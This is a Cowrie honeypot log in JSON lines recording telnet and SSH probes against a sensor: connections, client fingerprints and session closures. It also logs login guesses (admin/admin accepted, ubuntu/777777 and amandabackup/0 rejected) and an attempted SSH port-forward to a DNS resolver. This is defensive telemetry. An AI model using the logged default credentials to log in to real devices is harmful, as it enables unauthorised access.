{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46416,"dst_ip":"159.203.135.109","dst_port":23,"session":"e925cf299b2c","protocol":"telnet","message":"New connection: 103.137.231.186:46416 (159.203.135.109:23) [session: e925cf299b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:51.619213Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":52368,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df563d1a147","protocol":"telnet","message":"New connection: 208.82.116.131:52368 (159.203.135.109:23) [session: 7df563d1a147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:51.742626Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":52464,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a354eb57244","protocol":"telnet","message":"New connection: 208.82.116.131:52464 (159.203.135.109:23) [session: 4a354eb57244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:52.001537Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46438,"dst_ip":"159.203.135.109","dst_port":23,"session":"0781796e5669","protocol":"telnet","message":"New connection: 103.137.231.186:46438 (159.203.135.109:23) [session: 0781796e5669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:54.603797Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46432,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d3d54ccc04d","protocol":"telnet","message":"New connection: 103.137.231.186:46432 (159.203.135.109:23) [session: 8d3d54ccc04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:54.649813Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46450,"dst_ip":"159.203.135.109","dst_port":23,"session":"937fd692e177","protocol":"telnet","message":"New connection: 103.137.231.186:46450 (159.203.135.109:23) [session: 937fd692e177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:56.590902Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46456,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed3ab8d141fa","protocol":"telnet","message":"New connection: 103.137.231.186:46456 (159.203.135.109:23) [session: ed3ab8d141fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:56.697672Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7004,"dst_ip":"10.17.0.5","dst_port":22,"session":"996dcc0db676","protocol":"ssh","message":"New connection: 87.251.64.176:7004 (10.17.0.5:22) [session: 996dcc0db676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:57.472106Z"}
{"eventid":"cowrie.session.closed","duration":31.297179698944092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:58.382120Z","src_ip":"103.137.231.186","session":"7ee99a6e0cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46464,"dst_ip":"159.203.135.109","dst_port":23,"session":"834073204ecd","protocol":"telnet","message":"New connection: 103.137.231.186:46464 (159.203.135.109:23) [session: 834073204ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:58.539499Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45946,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d3dea6c46d8","protocol":"telnet","message":"New connection: 162.253.42.116:45946 (10.17.0.5:23) [session: 1d3dea6c46d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:58.649056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:58.828968Z","src_ip":"87.251.64.176","session":"996dcc0db676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:58.832892Z","src_ip":"87.251.64.176","session":"996dcc0db676","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:00.325755Z","src_ip":"87.251.64.176","session":"996dcc0db676","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:00.539035Z","session":"996dcc0db676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51872,"dst_ip":"159.203.135.109","dst_port":23,"session":"86d10eee5949","protocol":"telnet","message":"New connection: 103.137.231.186:51872 (159.203.135.109:23) [session: 86d10eee5949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:01.232706Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42748,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5e369c784c8","protocol":"ssh","message":"New connection: 159.203.92.129:42748 (159.203.135.109:22) [session: f5e369c784c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:02.157581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:02.162332Z","src_ip":"159.203.92.129","session":"f5e369c784c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:02.166578Z","src_ip":"159.203.92.129","session":"f5e369c784c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"0","message":"login attempt [amandabackup/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:02.184669Z","src_ip":"159.203.92.129","session":"f5e369c784c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.061110973358154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:02.569822Z","src_ip":"103.137.231.186","session":"bf23764da7c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:03.192316Z","src_ip":"159.203.92.129","session":"f5e369c784c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.585132360458374,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:03.809477Z","src_ip":"208.82.116.131","session":"29a8181862a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109839916229248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:04.147951Z","src_ip":"103.137.231.186","session":"5718999bf514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49082660675049,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:04.401798Z","src_ip":"162.253.42.116","session":"0ca71b20590b","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:04.628809Z","src_ip":"87.251.64.176","session":"996dcc0db676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:04.817406Z","src_ip":"87.251.64.176","session":"996dcc0db676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.8367657661438,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:05.108699Z","src_ip":"208.82.116.131","session":"fdfb42dc8b76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46582,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8c63d97fd3","protocol":"telnet","message":"New connection: 159.203.13.64:46582 (10.17.0.5:23) [session: 5b8c63d97fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:06.429818Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51884,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa8a928f922","protocol":"telnet","message":"New connection: 103.137.231.186:51884 (159.203.135.109:23) [session: afa8a928f922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:06.826719Z"}
{"eventid":"cowrie.session.closed","duration":30.998408555984497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:07.167659Z","src_ip":"103.137.231.186","session":"ec3bdf8a2d30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.14566254615784,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:07.597335Z","src_ip":"208.82.116.131","session":"18c0d74918b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.475555658340454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:07.928775Z","src_ip":"103.137.231.186","session":"b5a51ae49e99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270039558410645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:08.137192Z","src_ip":"103.137.231.186","session":"be8106f25d43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43972873687744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:09.250588Z","src_ip":"103.137.231.186","session":"5227c2df18b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":56546,"dst_ip":"159.203.135.109","dst_port":22,"session":"d71f292049a2","protocol":"ssh","message":"New connection: 103.215.80.173:56546 (159.203.135.109:22) [session: d71f292049a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:10.214141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:10.219078Z","src_ip":"103.215.80.173","session":"d71f292049a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52174,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd15052e8feb","protocol":"telnet","message":"New connection: 103.137.231.186:52174 (159.203.135.109:23) [session: fd15052e8feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:10.230791Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:10.526367Z","src_ip":"103.215.80.173","session":"d71f292049a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52182,"dst_ip":"159.203.135.109","dst_port":23,"session":"66cb41217df0","protocol":"telnet","message":"New connection: 103.137.231.186:52182 (159.203.135.109:23) [session: 66cb41217df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:11.107127Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"777777","message":"login attempt [ubuntu/777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:11.709807Z","src_ip":"103.215.80.173","session":"d71f292049a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.039243936538696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:12.211044Z","src_ip":"103.137.231.186","session":"d4ec5346d963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:12.915244Z","src_ip":"103.215.80.173","session":"d71f292049a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.92180585861206,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:13.888437Z","src_ip":"162.253.42.116","session":"cda9522a69cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909481525421143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:14.129476Z","src_ip":"103.137.231.186","session":"3a0ebaa3f9b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.677687644958496,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:18.769641Z","src_ip":"159.203.13.64","session":"ee6f72a519f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":32872,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7e1023a6382","protocol":"telnet","message":"New connection: 208.82.116.131:32872 (159.203.135.109:23) [session: d7e1023a6382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:18.940467Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33064,"dst_ip":"159.203.135.109","dst_port":23,"session":"f19b54c86f97","protocol":"telnet","message":"New connection: 208.82.116.131:33064 (159.203.135.109:23) [session: f19b54c86f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:19.429811Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50320,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e0bc85c763c","protocol":"telnet","message":"New connection: 103.137.231.186:50320 (159.203.135.109:23) [session: 2e0bc85c763c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:19.732222Z"}
{"eventid":"cowrie.session.closed","duration":30.504873275756836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:22.123980Z","src_ip":"103.137.231.186","session":"e925cf299b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.556124925613403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:25.159825Z","src_ip":"103.137.231.186","session":"0781796e5669","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55483889579773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:25.204519Z","src_ip":"103.137.231.186","session":"8d3d54ccc04d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.850153207778931,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:25.279847Z","src_ip":"208.82.116.131","session":"f19b54c86f97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50328,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca5ba24517d2","protocol":"telnet","message":"New connection: 103.137.231.186:50328 (159.203.135.109:23) [session: ca5ba24517d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:26.858073Z"}
{"eventid":"cowrie.session.closed","duration":30.532292366027832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:27.123061Z","src_ip":"103.137.231.186","session":"937fd692e177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47707200050354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:27.174610Z","src_ip":"103.137.231.186","session":"ed3ab8d141fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040894985198975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:29.580219Z","src_ip":"103.137.231.186","session":"834073204ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97067379951477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:32.203248Z","src_ip":"103.137.231.186","session":"86d10eee5949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61009073257446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:32.259010Z","src_ip":"162.253.42.116","session":"1d3dea6c46d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400338888168335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:37.226935Z","src_ip":"103.137.231.186","session":"afa8a928f922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":50904,"dst_ip":"159.203.135.109","dst_port":23,"session":"7145f3a83589","protocol":"telnet","message":"New connection: 103.137.231.186:50904 (159.203.135.109:23) [session: 7145f3a83589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:37.571720Z"}
{"eventid":"cowrie.session.closed","duration":46.55082726478577,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:38.293344Z","src_ip":"208.82.116.131","session":"7df563d1a147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.10648703575134,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:40.107886Z","src_ip":"208.82.116.131","session":"4a354eb57244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.471779108047485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:41.702473Z","src_ip":"103.137.231.186","session":"fd15052e8feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.673957347869873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:42.777595Z","src_ip":"103.137.231.186","session":"66cb41217df0","protocol":"telnet"}
